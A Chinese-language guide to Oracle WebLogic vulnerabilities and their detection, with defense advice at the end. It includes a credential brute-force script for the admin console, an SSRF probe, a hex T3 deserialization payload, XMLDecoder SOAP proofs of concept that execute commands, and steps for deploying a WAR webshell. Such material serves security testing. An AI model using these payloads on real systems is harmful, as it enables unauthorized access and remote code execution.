Weblogic漏洞——从入门到放弃
字数 1889 2025-08-18 11:38:08

WebLogic漏洞分析与利用指南

1. WebLogic简介

WebLogic是Oracle公司开发的企业级Java应用服务器,广泛应用于大型企业系统中。由于其复杂性和广泛使用,WebLogic也成为安全研究人员关注的重点目标。

主要版本

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.1
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3

2. WebLogic常见漏洞分类

2.1 控制台路径泄露与弱口令

相关模块: Weakpassword

漏洞描述:
WebLogic控制台默认路径暴露,结合弱口令可导致未授权访问。

检测方法:

def weakPasswd(self):
    """weak password"""
    pwddict = ['WebLogic','weblogic','Oracle@123','password','system','Administrator','admin','security','joe','wlcsystem','wlpisystem']
    for user in pwddict:
        for pwd in pwddict:
            data = {'j_username':user,'j_password':pwd,'j_character_encoding':'UTF-8'}
            req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)
            if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
                print('[+] WebLogic username: '+user+' password: '+pwd)

利用方法:

  1. 通过控制台上传WAR包形式的Webshell
  2. 使用jar命令打包: jar cvf ma.war ma/*
  3. 在控制台进行远程部署

修复建议:

  • 修改默认控制台路径
  • 使用强密码策略
  • 限制控制台访问IP

2.2 SSRF漏洞(CVE-2014-4210)

涉及版本:

  • Version: 10.0.2, 10.3.6

检测方法:

def ssrf(self):
    payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"
    req = requests.get(self.url+payload, timeout=10, verify=False)
    if "weblogic.uddi.client.structures.exception.XML_SoapException" in req.text and "IO Exception on sendMessage" not in req.text:
        print("[+] WebLogic ssrf")

利用场景:

  • 内网探测
  • 端口扫描
  • 攻击内网服务

2.3 Java反序列化漏洞

2.3.1 CVE-2015-4852

描述: 基于Weblogic t3协议的反序列化漏洞

2.3.2 CVE-2016-0638

描述: CVE-2015-4852的绕过,Oracle黑名单修复方式的缺陷

2.3.3 CVE-2016-3510

描述: 基于Weblogic t3协议的反序列化漏洞

2.3.4 CVE-2017-3248

描述: Weblogic JRMP反序列化漏洞

2.3.5 CVE-2018-2628

描述: 基于Weblogic t3协议的JRMP反序列化漏洞

2.3.6 CVE-2018-2893

描述: CVE-2018-2628的绕过,Oracle黑名单修复方式的缺陷

检测方法:
这些漏洞大多基于T3协议,检测时通常使用TCP套接字实现而非针对具体路径。例如CVE-2018-2893的检测:

VUL=['CVE-2018-2893']
PAYLOAD=['ACED0005737200257765626C6F6769632E6A6D732E636F6D6D6F6E2E53747265616D4D657373616765496D706C6B88DE4D93CBD45D0C00007872001F7765626C6F6769632E6A6D732E636F6D6D6F6E2E4D657373616765496D706C69126161D04DF1420C000078707A000001251E200000000000000100000118ACED0005737D00000001001A6A6176612E726D692E72656769737472792E5265676973747279787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002D6A6176612E726D692E7365727665722E52656D6F74654F626A656374496E766F636174696F6E48616E646C657200000000000000020200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707732000A556E696361737452656600093132372E302E302E310000F1440000000046911FD80000000000000000000000000000007878']
VER_SIG=['StreamMessageImpl']

2.4 任意文件上传(CVE-2018-2894)

涉及版本:

  • version:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

漏洞描述:
WebLogic管理控制台存在未授权文件上传漏洞,CNCERT危害程度评分高达9.8分。

2.5 XMLDecoder反序列化漏洞

2.5.1 CVE-2017-3506

2.5.2 CVE-2017-10271

涉及版本:

  • version:10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2

相关路径:

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

检测方法:

  1. 选择上述任意路径
  2. 设置Content-Type为text/xml
  3. POST方式发送payload

POC示例:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.8" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>calc</string>
            </void>
            <void index="1">
              <string></string>
            </void>
            <void index="2">
              <string></string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

远程验证POC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <object class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>whoami</string>
            </void>
          </array>
          <void method="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

验证正则:
\<faultstring\>.*\<\/faultstring\>

3. 自动化检测工具Weblogic++

项目地址: https://github.com/rabbitmask/WeblogicR

功能:

  • 一键POC检测
  • 收录几乎所有WebLogic历史漏洞
  • 模块化设计,易于扩展

检测模块:

  1. 控制台路径泄露(Weakpassword)
  2. SSRF(CVE-2014-4210)
  3. JAVA反序列化:
    • CVE-2015-4852
    • CVE-2016-0638
    • CVE-2016-3510
    • CVE-2017-3248
    • CVE-2018-2628
    • CVE-2018-2893
  4. 任意文件上传(CVE-2018-2894)
  5. XMLDecoder反序列化:
    • CVE-2017-10271
    • CVE-2017-3506

4. 防御建议

  1. 及时更新补丁: Oracle定期发布安全补丁,应及时应用
  2. 禁用T3协议: 如果不需要,可以禁用T3协议
  3. 访问控制: 限制管理控制台的访问IP
  4. 安全配置:
    • 修改默认路径
    • 使用强密码策略
    • 禁用不必要的组件和服务
  5. 监控与日志: 加强日志监控,及时发现异常行为

5. 总结

WebLogic作为企业级应用服务器,其安全性至关重要。本文详细分析了WebLogic的各类漏洞,包括控制台弱口令、SSRF、Java反序列化、任意文件上传和XMLDecoder反序列化等,并提供了检测方法和防御建议。安全研究人员可以使用Weblogic++等工具进行自动化检测,但应注意仅在授权范围内使用这些技术。

WebLogic漏洞分析与利用指南 1. WebLogic简介 WebLogic是Oracle公司开发的企业级Java应用服务器,广泛应用于大型企业系统中。由于其复杂性和广泛使用,WebLogic也成为安全研究人员关注的重点目标。 主要版本 Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.1 Weblogic 12.2.1.2 Weblogic 12.2.1.3 2. WebLogic常见漏洞分类 2.1 控制台路径泄露与弱口令 相关模块 : Weakpassword 漏洞描述 : WebLogic控制台默认路径暴露,结合弱口令可导致未授权访问。 检测方法 : 利用方法 : 通过控制台上传WAR包形式的Webshell 使用jar命令打包: jar cvf ma.war ma/* 在控制台进行远程部署 修复建议 : 修改默认控制台路径 使用强密码策略 限制控制台访问IP 2.2 SSRF漏洞(CVE-2014-4210) 涉及版本 : Version: 10.0.2, 10.3.6 检测方法 : 利用场景 : 内网探测 端口扫描 攻击内网服务 2.3 Java反序列化漏洞 2.3.1 CVE-2015-4852 描述 : 基于Weblogic t3协议的反序列化漏洞 2.3.2 CVE-2016-0638 描述 : CVE-2015-4852的绕过,Oracle黑名单修复方式的缺陷 2.3.3 CVE-2016-3510 描述 : 基于Weblogic t3协议的反序列化漏洞 2.3.4 CVE-2017-3248 描述 : Weblogic JRMP反序列化漏洞 2.3.5 CVE-2018-2628 描述 : 基于Weblogic t3协议的JRMP反序列化漏洞 2.3.6 CVE-2018-2893 描述 : CVE-2018-2628的绕过,Oracle黑名单修复方式的缺陷 检测方法 : 这些漏洞大多基于T3协议,检测时通常使用TCP套接字实现而非针对具体路径。例如CVE-2018-2893的检测: 2.4 任意文件上传(CVE-2018-2894) 涉及版本 : version:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3 漏洞描述 : WebLogic管理控制台存在未授权文件上传漏洞,CNCERT危害程度评分高达9.8分。 2.5 XMLDecoder反序列化漏洞 2.5.1 CVE-2017-3506 2.5.2 CVE-2017-10271 涉及版本 : version:10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2 相关路径 : 检测方法 : 选择上述任意路径 设置Content-Type为text/xml POST方式发送payload POC示例 : 远程验证POC : 验证正则 : \<faultstring\>.*\<\/faultstring\> 3. 自动化检测工具Weblogic++ 项目地址 : https://github.com/rabbitmask/WeblogicR 功能 : 一键POC检测 收录几乎所有WebLogic历史漏洞 模块化设计,易于扩展 检测模块 : 控制台路径泄露(Weakpassword) SSRF(CVE-2014-4210) JAVA反序列化: CVE-2015-4852 CVE-2016-0638 CVE-2016-3510 CVE-2017-3248 CVE-2018-2628 CVE-2018-2893 任意文件上传(CVE-2018-2894) XMLDecoder反序列化: CVE-2017-10271 CVE-2017-3506 4. 防御建议 及时更新补丁 : Oracle定期发布安全补丁,应及时应用 禁用T3协议 : 如果不需要,可以禁用T3协议 访问控制 : 限制管理控制台的访问IP 安全配置 : 修改默认路径 使用强密码策略 禁用不必要的组件和服务 监控与日志 : 加强日志监控,及时发现异常行为 5. 总结 WebLogic作为企业级应用服务器,其安全性至关重要。本文详细分析了WebLogic的各类漏洞,包括控制台弱口令、SSRF、Java反序列化、任意文件上传和XMLDecoder反序列化等,并提供了检测方法和防御建议。安全研究人员可以使用Weblogic++等工具进行自动化检测,但应注意仅在授权范围内使用这些技术。